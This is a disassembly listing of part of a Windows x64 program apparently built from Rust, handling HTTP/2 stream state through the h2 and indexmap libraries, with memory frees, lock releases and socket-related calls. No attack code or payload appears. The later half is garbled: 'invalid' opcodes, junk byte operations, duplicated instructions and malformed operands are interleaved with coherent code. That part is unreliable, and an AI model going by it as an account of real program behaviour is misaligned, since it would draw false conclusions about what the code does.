mov dword [rbp + 0x4e4], r12d
mov rax, qword [rbp + 0xc00]
cmp qword [rdi + 0x1b8], rax
jbe 0x1400fd79e
mov rax, qword [rdi + 0x1a8]
test rax, rax
je 0x1400fd79e
cmp dword [rax + r13], 2
je 0x1400fd79e
add rax, r13
cmp dword [rax + 0x114], r12d
jne 0x1400fd79e
cmp dword [rax + 0x30], 1
je 0x1400f996b
movups xmm0, xmmword [0x1401beb48]
movaps xmmword [rbp + 0xab0], xmm0
movdqu xmm0, xmmword [0x1401beb38]
movdqa xmmword [rbp + 0xaa0], xmm0
mov rax, qword [rbp + 0x738]
test rax, rax
je 0x1400f996b
mov dword [rbp + 0x6f0], r9d
lea rcx, [rbp + 0x700]
lea rdx, [rbp + 0xaa0]
mov qword [rbp + 0xbf0], rax
call fcn.1400226e0
mov rdx, qword [rbp + 0xbf0]
mov r13d, eax
movzx edi, word [rbp + 0x758]
mov r12d, r13d
and r12d, edi
mov r14, qword [rbp + 0x718]
mov r15, qword [rbp + 0x720]
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0xaa0]
mov qword [rbp + 0xbf8], rax
mov r10, qword [rbp + 0xaa8]
movzx eax, byte [rbp + 0xaa8]
mov byte [rbp + 0x968], al
mov r8, qword [rbp + 0xab0]
xor ebx, ebx
mov qword [rbp + 0x6f8], r10
mov qword [rbp + 0x5c8], r8
jmp 0x1400f921a
movzx ecx, byte [rbp + 0x968]
cmp byte [rax + 8], cl
je 0x1400f92e1
inc rbx
inc r12
mov rax, r12
nop dword [rax]
mov r12, rax
mov eax, 0
cmp r12, r15
jae 0x1400f9220
movzx ecx, word [r14 + r12*4]
cmp rcx, 0xffff
je 0x1400f92f1
movzx eax, word [r14 + r12*4 + 2]
mov r9d, eax
and r9d, edi
mov r11d, r12d
sub r11d, r9d
and r11d, edi
cmp rbx, r11
ja 0x1400f92f1
cmp ax, r13w
jne 0x1400f9214
cmp rdx, rcx
jbe 0x1400fbb3e
cmp qword [rbp + 0xbf8], 0
sete al
imul rsi, rcx, 0x68
mov rcx, qword [rbp + 0xc50]
mov rcx, qword [rcx + rsi + 0x40]
test rcx, rcx
setne r9b
cmp r9b, al
je 0x1400f9214
mov rax, qword [rbp + 0xc50]
add rax, rsi
add rax, 0x40
test rcx, rcx
je 0x1400f9204
cmp qword [rax + 0x10], r8
jne 0x1400f9214
mov rcx, qword [rax + 8]
mov rdx, r10
call sub.VCRUNTIME140.dll_memcmp
mov r8, qword [rbp + 0x5c8]
mov r10, qword [rbp + 0x6f8]
mov rdx, qword [rbp + 0xbf0]
test eax, eax
jne 0x1400f9214
mov rax, qword [rbp + 0xc50]
add rsi, rax
add rsi, 0x18
jmp 0x1400f92f3
xor esi, esi
mov rax, qword [rbp + 0xbf8]
test rax, rax
mov r12d, dword [rbp + 0xc20]
mov r13, qword [rbp + 0xc40]
je 0x1400f9324
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0xab8]
mov byte [rbp + 0xc4e], 1
mov rdx, r10
call rax
test rsi, rsi
mov rdi, qword [rbp + 0xc10]
mov r9d, dword [rbp + 0x6f0]
je 0x1400f996b
mov rcx, qword [rsi + 0x10]
cmp rcx, 0x13
jbe 0x1400f93b7
mov eax, dword [rbp + 0xc38]
mov dword [rbp + 0x4e0], eax
mov dword [rbp + 0x4e4], r12d
mov rax, qword [rbp + 0xc00]
cmp qword [rdi + 0x1b8], rax
jbe 0x1400fe07d
mov rax, qword [rdi + 0x1a8]
test rax, rax
je 0x1400fe07d
cmp dword [rax + r13], 2
je 0x1400fe07d
add rax, r13
cmp dword [rax + 0x114], r12d
jne 0x1400fe07d
mov r13d, dword [rax + 0x114]
mov eax, 4
mov qword [rbp + 0xc00], rax
mov esi, 1
xor r12d, r12d
jmp 0x1400f9bb3
test rcx, rcx
je 0x1400f9904
mov rdx, qword [rsi + 8]
xor r8d, r8d
xor eax, eax
movzx r9d, byte [rdx + r8]
lea r10d, [r9 - 0x3a]
cmp r10b, 0xf6
jb 0x1400f9345
lea rax, [rax + rax*4]
add r9b, 0xd0
movzx r9d, r9b
lea rax, [r9 + rax*2]
inc r8
cmp rcx, r8
jne 0x1400f93c9
jmp 0x1400f9906
call fcn.14018d880
test al, al
jne 0x1400f70ac
mov byte [r15 + 8], 1
jmp 0x1400f70ac
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.1.0_srcmapcore.rs
call fcn.140186a70
jmp 0x1400fee97
mov dword [rbp + 0x3d0], r13d
mov dword [rbp + 0x3d4], esi
cmp dword [rdx], 2
je 0x1400fe4a3
cmp dword [rdx + 0x114], esi
jne 0x1400fe4a3
mov rbx, r10
add rdx, 0x50
mov byte [rbp + 0xc4d], 1
lea rcx, [rbp + 0x820]
call fcn.140029d30
movzx eax, byte [rbp + 0x820]
cmp rax, 3
jne 0x1400fab96
mov r10, rbx
mov rax, qword [rbp + 0xc50]
mov rdx, qword [rax + 0x1a8]
mov rax, qword [rax + 0x1b8]
mov dword [rbp + 0xaa0], r13d
mov dword [rbp + 0xaa4], esi
cmp rax, r13
jbe 0x1400fe191
test rdx, rdx
je 0x1400fe191
cmp dword [rdx + r12], 2
je 0x1400fe191
lea rcx, [rdx + r12]
cmp dword [rcx + 0x114], esi
jne 0x1400fe191
cmp byte [rcx + 0x128], 0
je 0x1400fab2a
mov dword [rbp + 0xaa0], r13d
mov dword [rbp + 0xaa4], esi
cmp dword [rcx], 2
je 0x1400fe40e
cmp dword [rcx + 0x114], esi
jne 0x1400fe40e
test r14d, r14d
je 0x1400fb002
mov eax, dword [rcx + 0xa0]
sub eax, r14d
jl 0x1400fe864
jo 0x1400f97d4
mov dword [rcx + 0xa0], eax
mov eax, dword [rcx + 0xa4]
sub eax, r14d
jno 0x1400fafe7
xorps xmm0, xmm0
movups xmmword [rbp + 0x838], xmm0
mov word [rbp + 0x820], 0x101
mov dword [rbp + 0x824], 3
jmp 0x1400f6e26
mov dword [r13 + 0x5c], ecx
mov ecx, dword [r13 + 0xa0]
lea edx, [rcx + rax]
mov dword [r13 + 0xa0], edx
mov edx, dword [r13 + 0x5c]
lea r8d, [rax + rdx]
shl r8, 0x20
add edx, eax
mov dword [r13 + 0xa0], ecx
movabs rax, 0x300000001
cmovno rax, r8
mov edi, 5
test al, al
jne 0x1400f983f
shr rax, 0x20
mov dword [r13 + 0x5c], eax
xor ebx, ebx
mov rax, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x18]
mov r8, qword [rbp + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
lea r14, [0x1401b9e38]
shr r14, 0x20
mov r15b, 1
lea r12, [0x1401ea218]
cmp byte [rbp + 0xc38], 0
jne 0x1400f9881
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f98d1
mov byte [rbp + 0xc0f], 0
mov rcx, qword [rbp + 0xc50]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp bl, 3
je case.0x1400f4a9e.2
mov rax, qword [rbp + 0x958]
mov byte [rax + 9], r15b
mov word [rax + 0xa], r13w
mov dword [rax + 0xc], esi
mov dword [rax + 0x10], edi
mov dword [rax + 0x14], r14d
mov qword [rax + 0x18], r12
movdqa xmm0, xmmword [rbp + 0x440]
movdqu xmmword [rax + 0x20], xmm0
mov byte [rax + 8], bl
jmp 0x1400fa774
call fcn.14018d880
test al, al
jne 0x1400f9881
mov rax, qword [rbp + 0xc50]
mov byte [rax + 8], 1
jmp 0x1400f9881
xor eax, eax
mov ecx, dword [rbp + 0xc38]
mov dword [rbp + 0x4e0], ecx
mov dword [rbp + 0x4e4], r12d
mov rcx, qword [rbp + 0xc00]
cmp qword [rdi + 0x1b8], rcx
mov r9d, dword [rbp + 0x6f0]
jbe 0x1400fe372
mov rcx, qword [rdi + 0x1a8]
test rcx, rcx
je 0x1400fe372
cmp dword [rcx + r13], 2
je 0x1400fe372
add rcx, r13
cmp dword [rcx + 0x114], r12d
jne 0x1400fe372
mov qword [rcx + 0x30], 2
mov qword [rcx + 0x38], rax
cmp byte [rbp + 0x800], 0
je 0x1400f9998
cmp byte [rdi + 0x1a0], 0
sete al
or r9b, al
je 0x1400f9b33
mov eax, 3
mov qword [rbp + 0xc00], rax
jmp 0x1400f9bb3
mov esi, dword [rbp + 0x810]
lea rcx, [rbp + 0xaa0]
lea rdx, [rbp + 0x700]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0xb00]
lea rbx, [rbp + 0x5d0]
mov r8d, 0xa0
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x440]
mov r8d, 0xa0
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp + 0x750]
movaps xmmword [rbp + 0x3b0], xmm0
movups xmm0, xmmword [rbp + 0x740]
movaps xmmword [rbp + 0x3a0], xmm0
movdqu xmm0, xmmword [rbp + 0x700]
movdqu xmm1, xmmword [rbp + 0x710]
movdqu xmm2, xmmword [rbp + 0x720]
movdqu xmm3, xmmword [rbp + 0x730]
movdqa xmmword [rbp + 0x390], xmm3
movdqa xmmword [rbp + 0x380], xmm2
movdqa xmmword [rbp + 0x370], xmm1
movdqa xmmword [rbp + 0x360], xmm0
cmp qword [rbp + 0x4b8], 0
movzx ecx, byte [rdi + 0x1a0]
je 0x1400fa2c0
test cl, cl
je 0x1400fa2c0
mov rax, qword [rbp + 0xbd0]
cmp byte [rax + 0x9d], 0
jne 0x1400fa2c0
mov eax, dword [rbp + 0xc38]
mov dword [rbp + 0x4e0], eax
mov dword [rbp + 0x4e4], r12d
mov rax, qword [rbp + 0xc00]
cmp qword [rdi + 0x1b8], rax
jbe 0x1400f9abb
mov rax, qword [rdi + 0x1a8]
test rax, rax
je 0x1400f9abb
cmp dword [rax + r13], 2
je 0x1400f9abb
add rax, r13
cmp dword [rax + 0x114], r12d
je 0x1400fa32a
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x5d0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
mov qword [rbp + 0xab0], rbx
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc34], 0
mov byte [rbp + 0xc33], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov eax, dword [rbp + 0xc38]
mov dword [rbp + 0x4e0], eax
mov dword [rbp + 0x4e4], r12d
mov rax, qword [rbp + 0xc00]
cmp qword [rdi + 0x1b8], rax
jbe 0x1400fdc76
mov rax, qword [rdi + 0x1a8]
test rax, rax
je 0x1400fdc76
cmp dword [rax + r13], 2
je 0x1400fdc76
add rax, r13
cmp dword [rax + 0x114], r12d
jne 0x1400fdc76
mov edi, dword [rax + 0x114]
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x130], xmm0
movdqa xmmword [rbp + 0x180], xmm0
mov ebx, 2
mov r14d, 8
xor eax, eax
mov qword [rbp + 0xc00], rax
cmp qword [rbp + 0x720], 0
je 0x1400f9bd3
mov r8, qword [rbp + 0x718]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0xc20], rax
xor eax, eax
mov qword [rbp + 0xc38], rax
jmp 0x1400f9c28
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
mov rax, qword [r9 + r8 + 0x18]
mov rdx, qword [r9 + r8 + 0x20]
lea rcx, [r9 + r8]
add rcx, 0x30
mov r8, qword [r9 + r8 + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xc38]
cmp rax, qword [rbp + 0xc20]
je 0x1400f9c86
imul rcx, rax, 0x68
inc rax
mov qword [rbp + 0xc38], rax
mov qword [rbp + 0xc40], rcx
mov rax, qword [rbp + 0xc50]
mov rax, qword [rax + rcx + 0x40]
test rax, rax
je 0x1400f9c00
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
lea rcx, [r9 + r8]
add rcx, 0x58
mov rdx, qword [r9 + r8 + 0x48]
mov r8, qword [r9 + r8 + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400f9c00
mov r15, rsi
cmp qword [rbp + 0x730], 0
je 0x1400f9ca9
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x740]
mov rcx, qword [rbp + 0x750]
mov qword [rbp + 0xc40], rcx
mov qword [rbp + 0xc38], rax
lea rcx, [rax + 0x38]
xor eax, eax
mov qword [rbp + 0xc50], rax
nop word cs:[rax + rax]
mov rax, qword [rbp + 0xc50]
cmp qword [rbp + 0xc40], rax
je 0x1400f9d12
inc rax
mov qword [rbp + 0xc50], rax
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
lea rsi, [rcx + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rsi
jmp 0x1400f9ce0
cmp qword [rbp + 0x748], 0
je 0x1400f9d32
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc38]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [rbp + 0x760]
cmp al, 0xb
mov rsi, r15
je 0x1400f9d64
cmp al, 0xa
jb 0x1400f9d64
cmp qword [rbp + 0x770], 0
je 0x1400f9d64
mov r8, qword [rbp + 0x768]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x778]
test rax, rax
je 0x1400f9d88
lea rcx, [rbp + 0x790]
mov rdx, qword [rbp + 0x780]
mov r8, qword [rbp + 0x788]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x798]
test rax, rax
je 0x1400f9dac
lea rcx, [rbp + 0x7b0]
mov rdx, qword [rbp + 0x7a0]
mov r8, qword [rbp + 0x7a8]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbp + 0xbf8], rbx
mov qword [rbp + 0xbf0], r14
mov rax, qword [rbp + 0x7b8]
test rax, rax
je 0x1400f9dde
lea rcx, [rbp + 0x7d0]
mov rdx, qword [rbp + 0x7c0]
mov r8, qword [rbp + 0x7c8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x7d8]
test rax, rax
mov rbx, r13
je 0x1400f9e0f
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0x7f0]
mov rdx, qword [rbp + 0x7e0]
mov r8, qword [rbp + 0x7e8]
mov byte [rbp + 0xc4f], 0
call rax
xor r15d, r15d
mov r8, qword [rbp + 0xc00]
cmp r8d, 4
je 0x1400f9e2d
cmp r8d, 5
jne 0x1400f9e35
mov r12b, 3
jmp 0x1400fa575
mov r13b, 1
jmp 0x1400fa56e
mov qword [rbp + 0x700], r8
mov byte [rbp + 0x708], r12b
mov byte [rbp + 0x709], 1
mov dword [rbp + 0x70c], ebx
mov qword [rbp + 0x710], rsi
mov rdx, qword [rbp + 0xbf8]
mov qword [rbp + 0x718], rdx
mov qword [rbp + 0x720], 0
mov rcx, qword [rbp + 0xbf0]
mov qword [rbp + 0x728], rcx
movaps xmm0, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x730], xmm0
mov qword [rbp + 0x740], 8
movaps xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0x748], xmm0
mov word [rbp + 0x758], 0
mov eax, dword [rbp + 0x3c2]
mov dword [rbp + 0x75a], eax
movzx eax, word [rbp + 0x3c6]
mov word [rbp + 0x75e], ax
mov byte [rbp + 0x760], recv
movups xmm0, xmmword [rbp + 0x2e0]
movups xmmword [rbp + 0x761], xmm0
mov rax, qword [rbp + 0x2ef]
mov qword [rbp + 0x770], rax
mov qword [rbp + 0x778], 0
movups xmm0, xmmword [rbp + 0x5d0]
movups xmmword [rbp + 0x780], xmm0
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0x790], rax
mov qword [rbp + 0x798], 0
movups xmm0, xmmword [rbp + 0x4e0]
movups xmmword [rbp + 0x7a0], xmm0
mov rax, qword [rbp + 0x4f0]
mov qword [rbp + 0x7b0], rax
mov qword [rbp + 0x7b8], 0
movups xmm0, xmmword [rbp + 0x440]
movups xmmword [rbp + 0x7c0], xmm0
mov rax, qword [rbp + 0x450]
mov qword [rbp + 0x7d0], rax
mov qword [rbp + 0x7d8], 0
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x7f0], rax
movdqu xmm0, xmmword [rbp + 0x3d0]
movdqu xmmword [rbp + 0x7e0], xmm0
mov word [rbp + 0x7f8], 0x1af
movzx eax, word [rbp + 0x950]
mov word [rbp + 0x7fe], ax
mov eax, dword [rbp + 0x94c]
mov dword [rbp + 0x7fa], eax
mov byte [rbp + 0x800], 0
mov eax, dword [rbp + 0x358]
mov dword [rbp + 0x809], eax
mov rax, qword [rbp + 0x350]
mov qword [rbp + 0x801], rax
mov byte [rbp + 0x80d], 2
mov dword [rbp + 0x810], edi
mov byte [rbp + 0x814], 5
movzx eax, byte [rbp + 0x955]
mov byte [rbp + 0x817], al
movzx eax, word [rbp + 0x953]
mov word [rbp + 0x815], ax
cmp r8, 3
jne 0x1400fa065
mov rcx, qword [rbp + 0x6d8]
mov edx, dword [rbp + 0x6e0]
mov eax, dword [rbp + 0x6e4]
mov dword [rbp + 0x340], edx
mov dword [rbp + 0x344], eax
cmp qword [rcx + 0x10], rdx
jbe 0x1400fddc2
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400fddc2
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x1400fddc2
add rcx, rdx
cmp dword [rcx + 0x114], eax
jne 0x1400fddc2
mov ebx, dword [rcx + 0x114]
xor r12d, r12d
jmp 0x1400fa2b0
mov qword [rbp + 0xaa0], r8
mov byte [rbp + 0xaa8], r12b
mov byte [rbp + 0xaa9], 1
mov dword [rbp + 0xaac], ebx
mov qword [rbp + 0xab0], rsi
mov qword [rbp + 0xab8], rdx
mov qword [rbp + 0xac0], 0
mov qword [rbp + 0xac8], rcx
movaps xmm0, xmmword [rbp + 0x130]
movups xmmword [rbp + 0xad0], xmm0
mov qword [rbp + 0xae0], 8
movaps xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0xae8], xmm0
mov word [rbp + 0xaf8], 0
mov eax, dword [rbp + 0x3c2]
mov dword [rbp + 0xafa], eax
movzx eax, word [rbp + 0x3c6]
mov word [rbp + 0xafe], ax
mov byte [rbp + recv00], 0xb
mov rax, qword [rbp + 0x2ef]
mov qword [rbp + 0xb10], rax
movups xmm0, xmmword [rbp + 0x2e0]
movups xmmword [rbp + 0xb01], xmm0
mov qword [rbp + 0xb18], 0
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0xb30], rax
movups xmm0, xmmword [rbp + 0x5d0]
movups xmmword [rbp + 0xb20], xmm0
mov qword [rbp + 0xb38], 0
mov rax, qword [rbp + 0x4f0]
mov qword [rbp + 0xb50], rax
movups xmm0, xmmword [rbp + 0x4e0]
movups xmmword [rbp + 0xb40], xmm0
mov qword [rbp + 0xb58], 0
mov rax, qword [rbp + 0x450]
mov qword [rbp + 0xb70], rax
movups xmm0, xmmword [rbp + 0x440]
movups xmmword [rbp + 0xb60], xmm0
mov qword [rbp + 0xb78], 0
test dword [rax + 0xb], edi
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0xb90], rax
movdqu xmm0, xmmword [rbp + 0x3d0]
movdqu xmmword [rbp + 0xb80], xmm0
mov word [rbp + 0xb98], 0x1af
movzx eax, word [rbp + 0x950]
mov word [rbp + 0xb9e], ax
mov eax, dword [rbp + 0x94c]
mov dword [rbp + 0xb9a], eax
mov byte [rbp + 0xba0], 0
mov eax, dword [rbp + 0x358]
mov dword [rbp + 0xba9], eax
mov rax, qword [rbp + 0x350]
mov qword [rbp + 0xba1], rax
mov byte [rbp + 0xbad], 2
mov dword [rbp + 0xbb0], edi
mov byte [rbp + 0xbb4], 5
movzx eax, byte [rbp + 0x955]
mov byte [rbp + 0xbb7], al
movzx eax, word [rbp + 0x953]
mov word [rbp + 0xbb5], ax
mov rax, qword [rbp + 0xa88]
mov rdx, qword [rbp + 0xa90]
mov rax, qword [rax]
lea rcx, [rax + 0xa0]
mov r8, qword [rdx]
add rax, 0x140
mov qword [rsp + 0x28], rax
mov rsi, qword [rbp + 0x960]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0xaa0]
lea r9, [rbp + 0x6d8]
call fcn.1400ceb30
mov rax, qword [rbp + 0xa88]
mov rax, qword [rax]
lea rcx, [rax + 0xa0]
add rax, 0x140
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x6d8]
mov r8d, 7
mov r9, rsi
call fcn.14002b150
mov rax, qword [rbp + 0xa88]
mov rcx, qword [rax]
lea rdx, [rbp + 0x6d8]
mov r8, rsi
call fcn.14002a240
mov r12b, 3
mov r13b, 1
mov esi, 7
xor r15d, r15d
jmp 0x1400fa575
movzx eax, word [rbp + 0x4d8]
test ax, ax
je 0x1400fa7b2
test cl, cl
je 0x1400fa7b2
mov eax, dword [rbp + 0xc38]
mov dword [rbp + 0x4e0], eax
mov dword [rbp + 0x4e4], r12d
mov rax, qword [rbp + 0xc00]
cmp qword [rdi + 0x1b8], rax
jbe 0x1400fe0f5
mov rax, qword [rdi + 0x1a8]
test rax, rax
je 0x1400fe0f5
cmp dword [rax + r13], 2
je 0x1400fe0f5
add rax, r13
cmp dword [rax + 0x114], r12d
jne 0x1400fe0f5
add rax, 0x114
mov ebx, dword [rax]
cmp qword [rbp + 0x380], 0
je 0x1400fa352
mov r8, qword [rbp + 0x378]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x388]
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0xc20], rax
xor eax, eax
mov qword [rbp + 0xc38], rax
jmp 0x1400fa3a1
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
mov rax, qword [r9 + r8 + 0x18]
mov rdx, qword [r9 + r8 + 0x20]
lea rcx, [r9 + r8]
add rcx, 0x30
mov r8, qword [r9 + r8 + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xc38]
cmp rax, qword [rbp + 0xc20]
je 0x1400fa3ff
imul rcx, rax, 0x68
inc rax
mov qword [rbp + 0xc38], rax
mov qword [rbp + 0xc40], rcx
mov rax, qword [rbp + 0xc50]
mov rax, qword [rax + rcx + 0x40]
test rax, rax
invalid
je 0x1400fa379
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
lea rcx, [r9 + r8]
add rcx, 0x58
mov rdx, qword [r9 + r8 + 0x48]
mov r8, qword [r9 + r8 + 0x50]
add dword [rax - 1], r10d
push rax
adc cl, ch
jp 0x1400fa3fc
invalid
invalid
cmp qword [rbp + 0x390], 0
je 0x1400fa41f
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x3a0]
mov rcx, qword [rbp + 0x3b0]
mov qword [rbp + 0xc40], rcx
mov qword [rbp + 0xc38], rax
or al, 0
add byte [rax - 0x73], cl
cmp byte [rcx], sil
ror byte [rax - 0x77], 0x85
push rax
or al, 0
invalid
mov rax, qword [rbp + 0xc50]
cmp qword [rbp + 0xc40], rax
je 0x1400fa47a
inc rax
mov qword [rbp + 0xc50], rax
mov rax, qword [rcx - 0x18]
call 0x130612fb2
mov r8, qword [rcx - 8]
lea rsi, [rcx + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rsi
jmp 0x1400fa448
cmp qword [rbp + 0x3a8], 0
je 0x1400fa49a
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc38]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [rbp + 0x440]
cmp al, 0xb
je 0x1400fa4c9
cmp al, 0xa
jb 0x1400fa4c9
cmp qword [rbp + 0x450], 0
je 0x1400fa4c9
mov r8, qword [rbp + 0x448]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x458]
test rax, rax
je 0x1400fa4ed
lea rcx, [rbp + 0x470]
mov rdx, qword [rbp + 0x460]
mov r8, qword [rbp + 0x468]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x478]
test rax, rax
je 0x1400fa511
lea rcx, [rbp + 0x490]
mov rdx, qword [rbp + 0x480]
add al, 0
add byte [rbx + rcx*4 - 0x7b], cl
mov byte [rax + rax], al
add bh, bh
push rax
invalid
mov rax, qword [rbp + 0x498]
test rax, rax
je 0x1400fa535
lea rcx, [rbp + 0x4b0]
mov rdx, qword [rbp + 0x4a0]
mov r8, qword [rbp + 0x4a8]
add byte [rax], al
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x4b8]
mov r13b, 1
mov esi, 1
test rax, rax
je 0x1400fa56b
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0x4d0]
mov rdx, qword [rbp + 0x4c0]
mov r8, qword [rbp + 0x4c8]
mov eax, dword [rbp + 0x4c8]
mov eax, dword [rbp + 0x4c8]
mov byte [rbp + 0xc4e], 0
call rax
xor r12d, r12d
xor esp, esp
mov rdi, rsi
shr rdi, 0x20
mov rax, qword [rbp + 0xa88]
mov rcx, qword [rbp + 0xa90]
mov rax, qword [rax]
mov r9, qword [rcx]
mov byte [rbp + 0x700], r12b
add byte [rdi], al
add byte [rax], al
add byte [rdi], al
add byte [rax], al
mov byte [rbp + 0x701], r13b
mov word [rbp + 0x702], r14w
invalid
add byte [rax], al
mov dword [rbp + 0x704], ebx
mov dword [rbp + 0x708], esi
mov dword [rbp + 0x70c], edi
mov ebp, 0x70c
mov ebp, 0x70c
mov rcx, qword [rbp + 0xbf8]
mov qword [rbp + 0x710], rcx
invalid
add byte [rax], al
mov qword [rbp + 0x718], r15
mov edx, r14d
mov r14, qword [rbp + 0xbf0]
lock or eax, dword [rax]
add byte [rcx + rcx*4 - 0x4b], cl
and byte [rdi], al
add byte [rax], al
invalid
test r12b, r12b
je 0x1400fa61a
mov byte [rbp + 0x5d0], r12b
mov byte [rbp + 0x5d1], r13b
mov word [rbp + 0x5d2], dx
mov dword [rbp + 0x5d4], ebx
mov dword [rbp + 0x5d8], esi
mov dword [rbp + 0x5dc], edi
mov qword [rbp + 0x5e0], rcx
mov qword [rbp + 0x5e8], r15
mov qword [rbp + 0x5f0], r14
jmp 0x1400fa655
add byte [rcx + 0x5dcbd], cl
add byte [rax - 0x77], cl
invalid
lea rcx, [rax + 0xa0]
add rax, 0x140
mov byte [rax + 0x48000000], ah
add eax, 0x140
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x960]
or dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x28
or dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x28
lea rax, [rbp + 0x6d8]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
mov edx, esi
mov r8d, r13d
call fcn.1400d5330
mov byte [rbp + 0x5d0], 3
mov r14d, dword [rbp + 0x6e8]
mov r15, qword [rbp + 0x960]
cmp r14d, 0x3b9aca00
setne r8b
lea rdx, [rbp + 0x6d8]
mov rcx, r15
call fcn.140023890
movzx eax, byte [rbp + 0x5d0]
mov byte [rbp + 0xc00], al
movzx ebx, byte [rbp + 0x5d1]
movzx r15d, word [rbp + 0x5d2]
mov r12d, dword [rbp + 0x5d4]
mov r13d, dword [rbp + 0x5d8]
mov edi, dword [rbp + 0x5dc]
mov r14, qword [rbp + 0x5e0]
movdqu xmm0, xmmword [rbp + 0x5e8]
movdqa xmmword [rbp + 0x120], xmm0
cmp byte [rbp + 0xbc8], 0
jne 0x1400fa6e0
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400fa890
mov byte [rbp + 0xc35], 0
mov rcx, qword [rbp + 0xbe0]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp byte [rbp + 0xbe8], 0
jne 0x1400fa710
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400fa795
mov byte [rbp + 0xc0e], 0
mov rcx, qword [rbp + 0xc10]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
movzx ecx, byte [rbp + 0xc00]
cmp cl, 3
jne 0x1400fa746
movabs rax, 0x200000000
mov rcx, qword [rbp + 0x958]
mov qword [rcx], rax
jmp 0x1400fa77a
mov rax, qword [rbp + 0x958]
mov byte [rax + 9], bl
mov word [rax + 0xa], r15w
mov dword [rax + 0x14], edi
mov qword [rax + 0x18], r14
movdqa xmm0, xmmword [rbp + 0x120]
movdqu xmmword [rax + 0x20], xmm0
mov byte [rax + 8], cl
mov dword [rax + 0xc], r12d
mov dword [rax + 0x10], r13d
mov dword [rax], 1
